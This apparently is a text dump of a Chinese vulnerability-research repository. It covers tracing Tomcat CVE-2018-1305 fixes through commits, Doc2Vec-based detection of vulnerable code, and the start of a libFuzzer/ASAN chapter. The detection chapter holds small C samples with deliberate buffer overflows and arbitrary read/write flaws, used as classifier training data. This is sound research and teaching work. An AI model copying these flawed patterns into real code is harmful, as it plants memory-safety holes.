Showing preview only (564K chars total). Download the full file or copy to clipboard to get everything.
Repository: lcatro/How-to-Read-Source-and-Fuzzing
Branch: master
Commit: 35f451724975
Files: 56
Total size: 82.5 MB
Directory structure:
gitextract_e897ksuu/
├── 1.Github.md
├── 11.AI 算法挖洞的一些尝试.md
├── 12.深入解析libfuzzer与asan.md
├── 13.逻辑漏洞自动化思路.emmx
├── 2.Fuzzing 模糊测试之数据输入.md
├── 3.Fuzzing 模糊测试之异常检测.md
├── 4.阅读源码.md
├── 5.程序编译原理.md
├── 6.静态程序分析原理.md
├── 7.动态程序分析原理.md
├── 8.玩转LLVM.md
├── 9.KLEE符号执行框架.md
├── P3 Ethereum 智能合约自动化审计议题投稿.pptx
├── P4 REX 框架与Auto Exploit Generation 符号执行原理.md
├── Think代码分析.emmx
├── hyper-v vmswitch debug.emmx
├── readme.md
└── 第12章附录数据/
├── diy_instrument_in_qemu_fuzzing/
│ ├── Makefile
│ ├── example1.c
│ ├── example2.c
│ ├── example3.c
│ ├── example4.c
│ ├── example5.c
│ ├── example6.c
│ ├── example7.c
│ ├── example8.c
│ ├── llvm-sanitizer/
│ │ ├── clang-fix.txt
│ │ ├── llvm/
│ │ │ └── lib/
│ │ │ └── Transforms/
│ │ │ └── Instrumentation/
│ │ │ └── SanitizerCoverage.cpp
│ │ └── llvm_compile.sh
│ ├── qemu_diy_device/
│ │ ├── Kconfig
│ │ ├── Makefile.objs
│ │ ├── diy_pci.c
│ │ ├── diy_pci_coverage.c
│ │ └── qemu_compile.sh
│ ├── sanitize_black_list.txt
│ ├── sanitize_converage.c
│ ├── sanitize_converage.h
│ └── signal_number.h
├── test_asan_granularity_int_2
├── test_asan_granularity_int_2.i64
├── test_case.i64
├── test_case_de
├── test_case_no
├── test_libfuzzer_1_with_libfuzzer
├── test_libfuzzer_1_with_libfuzzer_pc_table
├── test_libfuzzer_1_with_libfuzzer_pc_table.i64
├── test_libfuzzer_1_without_sanitize_coverage
├── test_libfuzzer_1_without_sanitize_coverage.i64
├── test_libfuzzer_2_with_old_libfuzzer
├── test_libfuzzer_2_with_old_libfuzzer.i64
├── test_libfuzzer_2_without_sanitize_coverage
├── test_libfuzzer_2_without_sanitize_coverage.i64
├── test_libfuzzer_3_with_new_libfuzzer
├── test_libfuzzer_3_with_new_libfuzzer.i64
├── test_libfuzzer_3_with_old_libfuzzer
└── test_libfuzzer_3_with_old_libfuzzer.i64
================================================
FILE CONTENTS
================================================
================================================
FILE: 1.Github.md
================================================
## 必备工具
Git ,Github
## 从Github 开始
Github 是代码分享平台,使用Github 能够找到很多开源项目,关于Github 不多做介绍了,下面分享些使用Github 读代码的操作
## Github commits
Github commits 的功能是用来记录每一次Git 提交代码的信息,里面包含了修改代码的原因,还有修改了哪些代码.Github commits 的功能在这里

点击之后,可以看到很多Git 提交代码的记录

随意点开一条记录,可以看到很多关于这条Commit 的信息

使用Github commits 有一个操作就是:**一般来说,部分安全告警或者存在特别严重漏洞的开源项目向外发出通知的时候,往往只是提醒漏洞是影响了哪些版本,什么时候修复,要更新到最新的版本.关于漏洞的详情是很少提及的,甚至PoC 也没有.那么这个时候要怎么去研究漏洞呢?答案是追踪Commit 提交记录**
以CVE-2018-1305 为例子,关于绿盟的对外的通告如下(其他通告都大同小异):

里面只有一个邮件通信记录,我们进去看看有什么(https://lists.apache.org/thread.html/d3354bb0a4eda4acc0a66f3eb24a213fdb75d12c7d16060b23e65781@%3Cannounce.tomcat.apache.org%3E)

邮件最低下面有个References ,翻译为中文是引用的意思,在这里多插一句话:文章里面的引用一般是拓展阅读或者理论/数据的来源依据,如果读者需要进一步去深入这个文章,引用来源就是最好的入手点**.我们挑其中一个引用的URL 来看看(http://tomcat.apache.org/security-9.html),下面是我挑出的重点信息

圆圈里的意思是漏洞的描述,方框里标明的是其他有用的信息:影响的版本(Affects: 9.0.0.M1 to 9.0.4),最新修复的版本号(Fixed in Apache Tomcat 9.0.5),公开漏洞的时间(11 February 2018),Commit ID (This was fixed in revisions 1823310 and 1824323.).
找到Commit ID ,点进去看看,这个时候就跳转到了Apache 的SVN Commit 记录里边了(http://svn.apache.org/viewvc?view=revision&revision=1823310).[PS:SVN 和Git 都是版本管理工具]

我们可以看到这次修复漏洞修改了哪些代码.但是点进去代码里看,也没有diff ,所以现在回到Git commits 里继续找修复代码的Commit .那么要怎么去找Commit 呢?这个时候,漏洞修复时间就派上用场了.
SVN 的Commit 里面有一个Commit 时间(如果没有找到对应的Commit ,就在漏洞报告时间(2018/2/1)到漏洞公开时间(2018/2/23)搜索Commit )

然后去找Commit ,发现没有找到

这就很迷了,为啥会找不到呢.读者们回到主页,点击这里

这个时候,漏洞影响版本号就派上用场了,嘿嘿嘿

...这里找了个遍都没有找到这个版本,太神奇了,咱们再细细看看漏洞信息哈

??? 难道tomcat 和apache 是不同的?那我去搜索一下tomcat [PS:Github 搜索有很多很有趣的使用套路,待会和大家分享一个学习漏洞原理的骚操作]


看来找错了开源项目,那就先看看版本分支吧

有些开源项目是有设置不同的版本分支管理的,没有也没关系,那就来找Commit 吧

现在已经定位到了2018/2/6 号的Commit 信息,这里有几个Commit ,一个一个慢慢看吧,搜素的过程就不多说了,最后定位到这两个Commit

修复代码:https://github.com/apache/tomcat/commit/3e54b2a6314eda11617ff7a7b899c251e222b1a1
测试用例:https://github.com/apache/tomcat/commit/af0c19ffdbe525ad690da4fd7e988c7788d00141
在Git 的Commit 里还能看到Diff ,很容易就知道到底哪些代码被修改过(包括代码注释)

在测试用例里面就可以直接找到PoC 了

## Github Search
前面已经说到了如何使用Commit 了,相信读者也已经去秀了一波操作,找到更多关于漏洞修复的细节,上一节有提到,关于Github Search 有一个学习代码的骚操作,当年我就是用这一招弄明白了JavaScript 这种脚本解析引擎的漏洞应该要怎么挖,是不是很想知道到底是啥套路.
在搜索框里输入`CVE` ,记住,要想挖哪个开源项目就去那个开源项目的Github 上搜素CVE 三个字


结果如上,这个是Code 搜素,搜素出来的结果比较少,咱们切换到Commits 来看看

是不是发现了新世界 :)



洞海无涯苦作舟,用这种方法可以从issus 和Commit 里面学到很多,但是要看懂整个Commit 不只是要看Diff ,还要下载代码到本地一步一步分析漏洞成因
## Github Issus
Issus 可以看到很多漏洞挖掘的操作,特别是AFL 和libFuzzer 的怎么样使用的,同时在这些提交漏洞的Issus 里还能收集到很多样本,可以直接拿下来到其他的开源项目里继续使用,举个例子,ImageMagick 的Issus :https://github.com/ImageMagick/ImageMagick/issues


这里告诉大家样本在哪儿可以下载,重点是触发的命令是什么,有了这个触发命令之后,我们也可以去照猫画虎拿到AFL 里去跑Fuzzing 啦,美滋滋
## 在Github 上读代码
一般我都是先在Github 上阅读代码,然后再下载代码到本地Source Insight 继续读.我们有两种方式在Github 上开始阅读
### 根据文件夹来阅读
简单地来说:**关注文件/文件夹的名字**



多翻一下目录和文件,总会遇到你感兴趣的一个地方来读
### 根据敏感函数来阅读
善用Github 的搜索功能,它能够帮你搜索代码或者其他信息


找到了一个感兴趣的地方开始阅读代码之后,Github 的搜素功能可以帮助你向上回溯代码



在网页和普通编辑器阅读源码记得要多使用`Ctrl + F` ,它能够帮你快速定位当前代码文件的函数定位

## Git Clone
这个就不多介绍了,下载代码到本地
## Example
去年挖到一个蚂蚁矿机的远程代码执行漏洞,发现这个问题是直接在Github 上读代码的找到的,附上源码分析.

================================================
FILE: 11.AI 算法挖洞的一些尝试.md
================================================
## 漏洞特征码筛选
#### 漏洞代码特征对比
NLP 算法普遍运用在恶意代码识别分类,最核心的一点还是通过黑白代码样本进行分类(参考https://xz.aliyun.com/t/5666 ,https://xz.aliyun.com/t/5848 ).NLP 算法对数据分类来说是很友好的,因为它能够通过给定的分类样本和特征来对数据进行识别,但是要使用这些算法应用到漏洞挖掘,除了分类识别还需要一步就是要对漏洞进行校验(符号执行在从入口点开始递归路径时,因为条件分支和求解速度的问题往往会导致性能非常慢,那么能不能通过事先筛选一些可以的特征然后来探索可执行的路径再检验漏洞呢?).接下来分别探讨这两个步骤的一些细节.
#### BasicBlock 剪枝
我们用第五章里的一个示例来研究,因为Condition 条件判断的引入,代码结构其实是二维的.

如果需要使用NLP 的方式来对代码进行识别,那么就需要把二维的代码结构转化为一维,这样代码序列看起来才会和文章的内容一样(转化成为一段英文语句),所以就需要对函数内的BasicBlock 进行剪枝,修剪之后的结构如下.

代码实现不难,主要是通过if /switch 等语句进行处理,for /while 语句可以忽略不处理.
```python
def basic_block_preprocess(code_ast_subnode) : # BasicBlock 剪枝
flatten_basic_block_list = []
root_basic_block = []
for root_ast_node_index in code_ast_subnode :
ast_node_type = get_type(root_ast_node_index) # 获取AST 节点类型
if 'CIfStatement' == ast_node_type : # 目前只筛选if 语句
if_ast_node = root_ast_node_index.body # 获取if AST 的内容
if_ast_node_type = get_type(if_ast_node)
if 'CBody' == if_ast_node_type : # 对应的是if (???) {xxx} 的写法
sub_basic_block_list = basic_block_preprocess(if_ast_node.contentlist) # 递归遍历if 语句
for sub_basic_block_index in sub_basic_block_list :
flatten_basic_block_list.append( root_basic_block + sub_basic_block_index) # 合并剪枝之后的代码序列
else : # 对应的是if (???) xxx; 的写法
if_basic_block_ast_node = root_ast_node_index.body # if 里面语句代码块的内容
if_basic_block_ast_node_type = get_type(if_basic_block_ast_node) # 获取这个语句的类型
flatten_basic_block_list.append(root_basic_block + [ (if_basic_block_ast_node_type,if_basic_block_ast_node) ]) # 合并代码序列
if root_ast_node_index.elsePart : # 如果这个if 语句还存在else if 或else ..
if_else_ast_node_type = get_type(root_ast_node_index.elsePart.body)
if 'CBody' == if_else_ast_node_type :
if_else_ast_node = root_ast_node_index.elsePart.body
else :
if_else_ast_node = root_ast_node_index.elsePart.body.body
sub_basic_block_list = basic_block_preprocess(if_else_ast_node.contentlist) # 继续递归它的body 代码
for sub_basic_block_index in sub_basic_block_list :
flatten_basic_block_list.append( root_basic_block + sub_basic_block_index) # 合并剪枝之后的代码序列
continue
root_basic_block.append((ast_node_type,root_ast_node_index)) # 这是当前层的代码序列
flatten_basic_block_list.append(root_basic_block)
return flatten_basic_block_list
```
#### AST 特征序列化
AST 结构树并不合适直接使用NLP 算法来对它进行识别,我们需要对它进行预处理,变成合适由NLP 算法处理的格式.
```python
def reduce_ast_node_list(code_ast_list) : # AST 预处理
def get_var_type(var_type) : # 获取变量类型
var_type_string = ''
for var_type_index in var_type :
if 'unsigned' == var_type_index : # unsigned int ,unsigned char .drop the keyword unsigned
continue
var_type_string += var_type_index + '.'
if var_type_string :
var_type_string = var_type_string[ : -1 ]
return var_type_string
result_list = []
for code_ast_index in code_ast_list :
code_ast_node_type = code_ast_index[0] # AST 节点类型
code_ast_node_data = code_ast_index[1] # AST 节点数据
if 'CVarDecl' == code_ast_node_type : # 变量声明
is_type = get_type(code_ast_node_data.type) # 变量类型
if 'CArrayType' == is_type : # 数组
var_type = get_var_type(code_ast_node_data.type.arrayOf.builtinType)
result_list.append('variable_define_array:%s' % (var_type))
elif 'CBuiltinType' == is_type : # 普通变量
var_type = get_var_type(code_ast_node_data.type.builtinType)
result_list.append('variable_define:%s' % (var_type))
elif 'CPointerType' == is_type : # 指针变量
var_type = get_var_type(code_ast_node_data.type.pointerOf.builtinType)
result_list.append('variable_define_point:%s' % (var_type))
elif 'CStatement' == code_ast_node_type : # 赋值
assigment_data = code_ast_node_data._leftexpr
sub_ast_node_type = get_type(assigment_data)
if 'CFuncCall' == sub_ast_node_type : # 函数调用
function_name = assigment_data.base.name
result_list.append('function_call:%s' % (function_name))
elif 'CArrayIndexRef' == sub_ast_node_type : # 数组引用
access_type = assigment_data.base.type
if 'CArrayType' == access_type : # buffer[10] = ???;
result_list.append('assigment_array_index')
elif 'CPointerType' == access_type : # *buffer[10] = ???;
result_list.append('assigment_point_index')
elif 'CStatement' == sub_ast_node_type : # 变量数据值
assigment_data = assigment_data._rightexpr._leftexpr
assigment_type = assigment_data.type
if 'CArrayType' == assigment_type : # buffer[10] = ???;
result_list.append('assigment_array_index')
elif 'CPointerType' == assigment_type : # *buffer[10] = ???;
result_list.append('assigment_point_index')
#.pointerOf.builtinType
else :
result_list.append(code_ast_node_type)
return result_list
```
#### Doc2Vec 算法与特征对比
Doc2Vec 算法用来对一段文本进行识别,判断这段文本属于哪一类型.我们假设了一系列的黑白样本:
```python
code_sample_memcpy_check_1 = '''
void main() {
char* buffer = (char*)malloc(20);
char* command_buffer = (char*)malloc(10);
memcpy(&command_buffer,&buffer,20);
}
'''
code_sample_memcpy_check_2 = '''
void main() {
char buffer[20] = {0};
char command_buffer[10] = {0};
memcpy(&command_buffer,&buffer,20);
}
'''
code_sample_buffer_check_1 = '''
void main() {
char buffer[10] = {0};
buffer[10] = '\0';
}
'''
code_sample_buffer_check_2 = '''
void main() {
char* buffer = (char*)malloc(10);
buffer[20] = '\0';
}
'''
code_sample_arbitrarily_write_check_1 = '''
void main(char* point) {
char* buffer = point;
*buffer = 0x1;
}
'''
code_sample_arbitrarily_write_check_2 = '''
void main(char* offset) {
char buffer[10] = {0};
*(buffer + offset) = 0x1;
}
'''
code_sample_arbitrarily_read_check_1 = '''
void main(char* point) {
char* buffer = point;
char data = *buffer;
}
'''
code_sample_arbitrarily_read_check_2 = '''
void main(char* offset) {
char buffer[10] = {0};
char data = *(buffer + offset);
}
'''
code_sample_white_call_1 = '''
void main() {
printf("123123");
}
'''
code_sample_white_return_1 = '''
int main() {
int result = 1;
return result;
}
'''
code_sample_white_add_1 = '''
void main() {
int a = 1;
int b = 2;
int result = 0;
result = a + b;
}
'''
tranning_sample_code = {
'memcpy' : [
# ...
] ,
'overflow' : [
# ...
] ,
'null_access' : [
# ...
] ,
'arbitrarily_write' : [
# ...
] ,
'arbitrarily_read' : [
# ...
] ,
'white_code' : [
# ...
] ,
}
```
经过之前的预处理之后,返回的代码序列如下(演示的Demo 对AST 处理比较粗糙,是导致后面分类出现误差的主要原因):
```text
[['variable_define_point:char', 'variable_define_point:char', 'function_call:memcpy']]
[['variable_define_array:char', 'variable_define_array:char', 'function_call:memcpy']]
[['variable_define_point:char', 'variable_define_array:char', 'function_call:memcpy']]
[['variable_define_array:char', 'variable_define_point:char', 'function_call:memcpy']]
[['variable_define_point:char', 'variable_define_point:char', 'function_call:memset', 'function_call:memcpy']]
[['variable_define_array:char', 'variable_define_array:char', 'function_call:memset', 'function_call:memcpy']]
[['variable_define_point:char', 'variable_define_array:char', 'function_call:memset', 'function_call:memcpy']]
[['variable_define_array:char', 'variable_define_point:char', 'function_call:memset', 'function_call:memcpy']]
[['variable_define_array:char']]
[['variable_define_point:char']]
[['variable_define_point:char']]
[['variable_define_point:char']]
[['variable_define_array:char']]
[['variable_define_point:char']]
[['variable_define_point:char', 'variable_define:char']]
[['variable_define_array:char', 'variable_define:char']]
[['variable_define_point:char', 'variable_define:char']]
[['function_call:printf']]
[['function_call:printf', 'function_call:printf', 'function_call:printf', 'function_call:printf', 'function_call:printf']]
[['variable_define:int', 'function_call:printf']]
[['variable_define_array:char', 'function_call:memset', 'function_call:printf']]
[['variable_define_point:char', 'function_call:printf']]
[['variable_define:int', 'CReturnStatement']]
[['variable_define_point:char', 'CReturnStatement']]
[['variable_define_array:char', 'CReturnStatement']]
[['variable_define:int', 'variable_define:int', 'variable_define:int', 'assigment_value:int']]
[['variable_define:int', 'variable_define:int', 'function_call:printf'], ['variable_define:int', 'variable_define:int', 'function_call:printf'], ['variable_defi
ne:int', 'variable_define:int']]
[['variable_define:int', 'function_call:printf']]
```
接下来使用Gensim Doc2ver 对样本进行训练,代码如下:
```python
TaggededDocument = gensim.models.doc2vec.TaggedDocument
model_tranning_sample_list = []
for tranning_sample_code_type,tranning_sample_code_data_list in tranning_sample_code.items() :
for tranning_sample_code_data in tranning_sample_code_data_list :
model_tranning_sample_list.append(TaggededDocument(tranning_sample_code_data, tags = [ tranning_sample_code_type ]))
model = gensim.models.Doc2Vec(model_tranning_sample_list,min_count = 1,window = 3,vector_size = 200,workers = 4)
model.train(model_tranning_sample_list, total_examples = model.corpus_count, epochs=70)
```
我们构造一些测试代码,然后使用样本进行识别:
```python
code_test_1 = '''
int main(const unsigned char* buffer) {
unsigned char buffer_l[10] = {0};
unsigned char buffer_length = buffer[0];
if (2 <= buffer_length)
return 0;
if (MessageType_Hello == buffer[1]) {
printf("Hello\n");
} else if (MessageType_Execute == buffer[1]) {
unsigned char* command_buffer = (unsigned char*)malloc(buffer_length - 1);
memset(&command_buffer,0,buffer_length);
memcpy(&command_buffer,&buffer[2],buffer_length - 2);
execute_command(command_buffer);
} else if (MessageType_Data == buffer[1]) {
decrypt_data(&buffer[2],buffer_length - 2);
}
return 1;
}
'''
# ... Sample code so more that we leave out it .
test_code = [
make_code(test_sample_code.code_test_1) ,
# ....
]
for test_code_index in test_code :
print ' ---- '
for test_code_flatten_index in test_code_index :
inferred_vector = model.infer_vector(test_code_flatten_index)
output.valid_state_output(str(test_code_flatten_index),str(model.docvecs.most_similar([inferred_vector], topn=10)))
```
训练样本再分类的效果如下:

第一部分特征识别的整体难度不大,最困难的一步是要在代码序列中做好预处理,保证特征容易被算法识别而且又不能从AST 精简转化特征的过程中丢掉太多的细节,最后让Doc2Vec 来更准确地对代码序列进行识别.
定位出了可以的代码序列之后,下一步就是要对漏洞进行验证,到这一步骤一定是要使用符号执行来对变量进行取值范围的构建,然后再引入漏洞判断的条件组合起来交由求解器来实现,但是这样就不够"AI" 了.**符号执行的步骤是不能够缺少的,如果没有符号执行,那就无法知道某个特定变量的变化函数与取值范围**.我们常说深度学习的算法都是由样本来拟合出一条回归函数,让回归函数和算法来对数据进行分类计算,那么能不能拟合出这么样的一条曲线呢?漏洞判断的条件能不能推断出一条回归函数呢?下面就绕过符号执行技术直接来探讨这个问题.
----
## 漏洞验证阶段
#### Example 1 -- 单变量与常数值判断
```c
int calcu(int a) {
int number = a * a; // pow(a,2);
if (number > 100)
return 1;
return 0;
}
```
calcu() 函数输入输出关系

我们知道,calcu() 函数是由if 判断来控制不同的return 返回的,那么calcu() 函数的输出因果关系如下(注意,C_100 特指if 判断表达式的右侧常数值100 ;Symblo(x) 则是指if 表达式的左则number 变量的符号表达式number = a*a):

以(10,100)为交点,左侧黄色虚线勾画的区域是Zero (此时C_100 > Symblo(x)),右侧灰色区域是One (此时Symblo(x) > C_100).Zero 代表函数返回0 ,One 代表函数返回1 .

所以,函数返回值是0/1 取决于函数Symblo(x) 和直线C_100 的关系.我们回过头来详细分析上述例子if 判断.
```c
if (number > 100)
return 1;
return 0;
// number = Symblo(x) ; C_100 = 100
```
那么可知,**当if 要执行到return 1 时,必须要number > 100,就是Symblo(x) > C_100;反之则是number <= 100,也就是Symblo(x) <= C_100)**.基于这个原理,总结如下:
```text
Condition_True => Symblo(x) Condition_Flag C_? => Symblo(x) - C_? Condition_Flag 0
Condition_False => Symblo(x) !Condition_Flag C_? => Symblo(x) - C_? Condition_Flag 0
Symblo(x) 指的是number ,Condition_Flag 是指逻辑运算符,C_? 指常数值
例子:
1.if (number == 10086)
Condition_True => Symblo(number) == 10086 => Symblo(number) - 10086 = 0
Condition_False => Symblo(number) != 10086 => Symblo(number) - 10086 != 0
2.if (number <= 72)
Condition_True => Symblo(number) <= 72 => Symblo(number) - 72 <= 0
Condition_False => Symblo(number) > 72 => Symblo(number) - 72 > 0
```
#### Example 2 -- 单变量与单变量判断
```c
int valid_key(int number) {
int a = cos(number);
int b = sin(number);
if (a / b > number)
return 1;
return 1;
}
```
calcu() 函数输入输出关系

calcu() 函数的输出因果关系

在if 判断这里,我们可知Symblo(a_b) = cos(x)/sin(x) ,Symblo(number) = x .那么这个坐标系的横坐标就是x ,纵坐标就是y (**y = Symblo(x) ,意思是变量经过一系列的运算然后得出的结果,因为是对单个变量进行操作,所以就很容易知道这个变量经过很多次操作之后的具体函数.比如当前示例的calcu() ,有一个传递进来的参数number ,然后我们遍历到分支判断if 时,发现当前if 表达式的左值和右值都是对calcu() 函数的参数number 的值进行引用对比,那么通过符号执行可以推测出if 表达式左值:Symblo(a_b) = a / b = cos(number) / sin(number),右值:Symblo(number) = number**).黄色虚线区域代表Condition True ,灰色代表Condition False .使用上一个示例的总结,我们可以知道:
```text
Conditon_True => Symblo(a_b) > Symblo(number) => cos(number) / sin(number) > number => cot(number) > number => cot(number) - number > 0
Conditon_False => Symblo(a_b) <= Symblo(number) => cos(number) / sin(number) <= number => cot(number) <= number => cot(number) - number <= 0
```
事实上,我们所列出的Condition_True 和Condition_False ,实际上指的是一个取值范围(Value_Range),**当变量值出现在某个区域时,我们就认为它属于True / False** .所以,也可以说是Condition_True_Range ,Condition_False_Range .
#### Example 3 -- 单变量与常数值多次判断
```c
int calcu(int number) {
int result = pow(number,2);
if (result > 100)
return 2;
else if (result > 25)
return 1;
return 0;
}
```
calcu() 函数输入输出关系

calcu() 函数的输出因果关系

我们分析上述两个if 判断.判断1: result > 100 ,满足符合条件的区域为Symblo(number) > 100 ,对应上图紫色区域;判断2: result > 25 && result <=100 (注意,**result <= 100 是隐含条件,在这个else if 前面还有一个先决条件,所以不能忽略这个result <=100 这个表达式**),满足符合条件的区域为**Symblo(number) <= 100 ∩ Symblo(number) > 25 <=> x^2 <= 100 ∩ x^2 > 25 **,对应上图黄色区域;最后的return 0 对应上述的两个先决条件:1.result<=100 ;2.result<=25 ,合并起来就是**result <= 100 && result <= 25 <=> Symblo(number) <= 25 && Symblo(number) <= 100 <=> Symblo(number) <= 25 **,对应上图橙色区域.总结如下:
```text
Condition_Express_1 && Condition_Express_2 => Condition_True_Range_1 ∩ Condition_True_Range_2 (&& 是逻辑And )
Condition_Express_1 || Condition_Express_2 => Condition_True_Range_1 ∪ Condition_True_Range_2 (|| 是逻辑Or )
```
**变量经过多次赋值和运算,那么它的值一定能够可以通过一条函数表达式来计算的(参考符号执行原理,通过变量间的赋值与计算关系推导出结果).那么if 判断的实质就是要限制变量的取值范围,所以Symblo(x) 是变量结果的计算函数,Condition_Range 则是变量的取值范围**
#### Example 4 -- 多变量引用与单次判断
```c
int calcu(int a,int b) {
if (a > b)
return 1;
return 0;
}
```
calcu() 函数的输出因果关系

首先,calcu() 函数引入了两个变量,在if 判断这里引用两个变量a 和b ,因为a 与b 的值关系最终决定了y (返回值)的值,所以这就需要构造三维坐标系.于是Condition_True_Range <=> Symblo(a) > Symblo(b) .当a = b 相等时,我们可以在a b 的二维平面上勾画出一条直线,f(b) = b .那么当a > b 时,也就是在One 区域;当b < a 时,那就在Zero 区域.
#### Example 5 -- 数组引用
```c
void access(int index) {
char buffer[10] = {0};
buffer[index] = 'A';
}
```
现在我们要研究的是index 与buffer 变量的关系.我们在写白盒审计工具时,如果要对代码`buffer[index] = 'A';` 漏洞校验时,如果index >= sizeof(buffer) 那就认为这行代码存在越界漏洞,我们把index 变量的关系和buffer 这么来处理.先来看看index 变量与buffer 索引之间的关系函数.

可以知道,这是一个`buffer_index = Symblo(index) = index`,横坐标是index 变量,纵坐标是buffer_index .再看看看其它例子:
```c
void access(int index) {
char buffer[10] = {0};
buffer[index + 2] = 'A';
}
```
此时index 变量与buffer 索引之间的关系函数为`buffer_index = Symblo(index) = index + 2`.

```c
void access(int index) {
char buffer[10] = {0};
buffer[index & 8] = 'A';
}
```
此时index 变量与buffer 索引之间的关系函数为`buffer_index = Symblo(index) = index & 8`.因为引入了逻辑运算,其实上也可以通过坐标系画出Symblo(index) 的函数曲线的,图像如下.

回过头来继续深入数组访问的第一个示例程序,我们把buffer_size (由`char buffer[10]={0}` 可知buffer_size = (x = 10))也引入到坐标系中,得到下图:

在此我们分为两条函数:Symblo(buffer_size) 和Symblo(index) ,两条函数相交于(10,10) .那么有:**1.Symblo(buffer_size) > Symblo(index) 意味着对这个数组的访问是正常的; 2.Symblo(buffer_size) < Symblo(index) 意味着访问这个数组是异常的(越界访问)** .所以我们就需要对**变量index 的取值范围进行限制**,示例代码修改如下:
```c
void access(int index) {
char buffer[10] = {0};
if (index < sizeof(buffer))
buffer[index] = 'A';
}
```
现在我们引入了if 判断,对变量index 的取值范围进行了限制(x = 10),对应图像如下:

橙色区域是合法的buffer 引用范围,红色区域是buffer 引用越界的范围.**横坐标的index 经过一系列的运算(Symblo(index)) 最后得出纵坐标buffer_index 的值;而且,对index 所做的if 校验,实际上都是对index 的范围进行限制,只有Symblo(index) 在符合index 的取值范围内能够让buffer_index 的值大于10 才能导致的越界,所以就把y = 10 表示为漏洞边界表达式,只要存在越过这一边界的值,那么就存在越界漏洞.**
#### Example 6 -- 任意地址读写漏洞分析
```c
int resolve_buffer(int* recv_buffer) {
int offset = recv_buffer[1];
return *(recv_buffer + offset);
}
```
代码语句*(recv_buffer + offset) 的意思是要获取这个地址中的内容.一般来说,recv_buffer 是一个特定的内存地址(一个固定的常数值),offset 则是一个变量值(因为是来自用户输入),那么最后**读取的地址函数式与recv_buffer ,offset 对应的关系为address = Symblo(offset) <=> recv_buffer + offset <=> C_recv_buffer + offset.**对应的变化关系图如下,横坐标为offset ,纵坐标为address :

我们知道,C_recv_buffer 是一个正整数常数(0 <= C_recv_buffer <= max(int)),offset 则是一个变量,接下来对offset 的长度进行校验,代码如下:
```c
int resolve_buffer(int* recv_buffer) {
int offset = recv_buffer[1];
if (offset < 20)
return *(recv_buffer + offset);
return 0;
}
```
对应的关系图如下:

在此我们假设C_recv_buffer 的值为25 ,offset 是变量,但是被约束offset < 20 ,那么橙色区域是合法的访问区域,红色区域则是不合法的访问区域,因为offset 是int 类型,可以取值为负数,那么久可以越过recv_buffer 的合法读取往前读取地址空间小于20 的位置.

所以我们分析这个图形,漏洞的边界函数有两个,分别是C_recv_buffer_lower_bound = 25 与C_recv_buffer_upper_bound = 45 .只有**C_recv_buffer_lower_bound <= address < C_recv_buffer_upper_bound** 时访问数组才是合法的.
实际上,我们在用Symblo Executge (符号执行)和Coverage (代码覆盖率)就是为了不断探索出if 判断对于变量所设定的取值范围.对变量每增多一个if 判断,那么取值范围就会相应地减小.
#### 取值范围与函数相交
下面是一个函数C1 穿过一个数据集R1 的例子.

我们假设R1 是某个变量的取值范围,C1 是边界函数.**使用机器学习的思想,边界函数C1 根据数据出现在边界函数的左右两则位置而确定数据的分类,我们只需要给定数据,那么就可以拟合出边界函数C1 的曲线,然后给数据进行分类**.*那么我们能不能通过对这些数据集进行分类进而确定是否存在漏洞呢?*
##### 曲线拟合
我们知道,对一些已经打好分类标签的数据集再传递给模型学习,那么模型就能够拟合出一条曲线C(x) ,如下图:

但是,**对于某种特定的漏洞检验函数,它是唯一的**.比如说:任意地址写对应的检验函数为C(x) = x ;数组越界检验函数为C_upper(buffer) = C1 ,C_lower(buffer) = C2 .这些漏洞边界函数都是较为**固定**的,并不是像需要依靠分类的样本数据使用算法来拟合出的边界函数,**漏洞的产生存在因果关系,而不是相关性**.
#### 漏洞样本检验
我们研究一下样本代码,看看能不能发现些什么.
```c
// Buffer Overflow
code_sample_buffer_check_1 = '''
void main() {
char buffer[10] = {0};
buffer[10] = '\0';
}
'''
code_sample_buffer_check_2 = '''
void main() {
char* buffer = (char*)malloc(10);
buffer[20] = '\0';
}
'''
```
前面已经说过,漏洞之所以会产生,那是因为buffer_size 和buffer_index 的关系.**因为只有buffer_index > buffer_size 时,才导致了buffer 访问溢出.**我们使用ASAN ,Gflags 的目的就是要挖掘出来这两者之间的关系(通过代码插桩或者内存读写权限控制实现越界检测).对于code_sample_buffer_check_1 来说,buffer 大小是显式表达的(变量语句中已经声明了buffer 大小为10 );code_sample_buffer_check_2 则是隐式表达的(因为是通过malloc 分配指定,大部分情况下不容易确定它具体的值).
```c
// Arbitrarily_Write
code_sample_arbitrarily_write_check_1 = '''
void main(char* point) {
char* buffer = point;
*buffer = 0x1;
}
'''
code_sample_arbitrarily_write_check_2 = '''
void main(char* offset) {
char buffer[10] = {0};
*(buffer + offset) = 0x1;
}
'''
code_sample_arbitrarily_read_check_1 = '''
void main(char* point) {
char* buffer = point;
char data = *buffer;
}
'''
code_sample_arbitrarily_read_check_2 = '''
void main(char* offset) {
char buffer[10] = {0};
char data = *(buffer + offset);
}
'''
```
任意地址读写也是一样的,对于buffer 的边界还是需要上下文来推断,offset 的变化函数容易推算出来,但是buffer 的边界函数却不容易推算.
#### 总结
漏洞验证阶段是最头疼的,**验证一个漏洞是否有效,本质上是对变量的取值范围与漏洞边界进行探讨.通过上述的一些讨论发现如果要使用AI 的算法去拟合出漏洞边界函数其实是不现实的,因为这些边界函数是根据相关变量动态变化的,倒不如让我们把所有的限制条件和变量初值设置好让求解器来运算.**博主太菜了,他真的没有办法了,写到这里的时候,不知不觉留下了没有技术的泪水...
那么因果推断能用上来吗? https://zhuanlan.zhihu.com/p/33860572

在线函数画图URL
https://zh.numberempire.com/graphingcalculator.php
https://www.desmos.com/calculator
================================================
FILE: 12.深入解析libfuzzer与asan.md
================================================
## LLVM下的插桩简述
关于LLVM的编译过程网上已经有很多的分析,在此挑选出与本文相关的地方做简单的复述:
1. LLVM前端把代码序列化为AST树,编译成LLVM IR.
2. 编译为LLVM IR后,通过各个模块(Pass)进行分析,优化与插桩.
3. 编译为目标平台二进制字节码.
4. 符号链接,生成可执行文件.

本文要讨论的插桩技术包含Sanitizer-Coverage和ASAN,它们在LLVM中分别存在于Pass和Compiler-RT中.简单地说,Pass提供插桩的功能,Compiler-RT中提供了运行时支持的内部接口函数,下面从最容易入手的Sanitizer-Coverage开始实现代码覆盖率的统计.
## 玩转Sanitizer-Coverage
#### Sanitizer-Coverage初体验
接触过二进制Fuzzing的朋友们应该知道,代码覆盖率的用意是了解当前的模糊测试方式与用例触发程序执行的代码占整体代码的百分比,这个比值越高,越说明有很多的代码分支和函数被执行到,能够挖掘到隐藏在代码的漏洞的概率就更大.
下面是一段简单的测试代码:
```c
